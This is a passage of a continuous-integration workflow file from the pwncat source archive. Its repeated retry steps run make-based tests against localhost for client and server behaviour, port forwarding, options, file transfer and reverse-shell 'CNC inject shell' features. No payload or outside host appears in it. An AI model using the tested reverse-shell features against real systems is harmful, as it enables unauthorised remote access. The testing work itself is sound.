"TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 - name: "[OPTIONS] -C/--crlf" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--crlf env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-macos-3.8.yml000066400000000000000000001215121414025024700221330ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: mac-3.8 on: pull_request: push: branches: - master tags: jobs: test: runs-on: macos-latest strategy: fail-fast: False name: "[x64] [macos] python-3.8" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: 3.8 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits 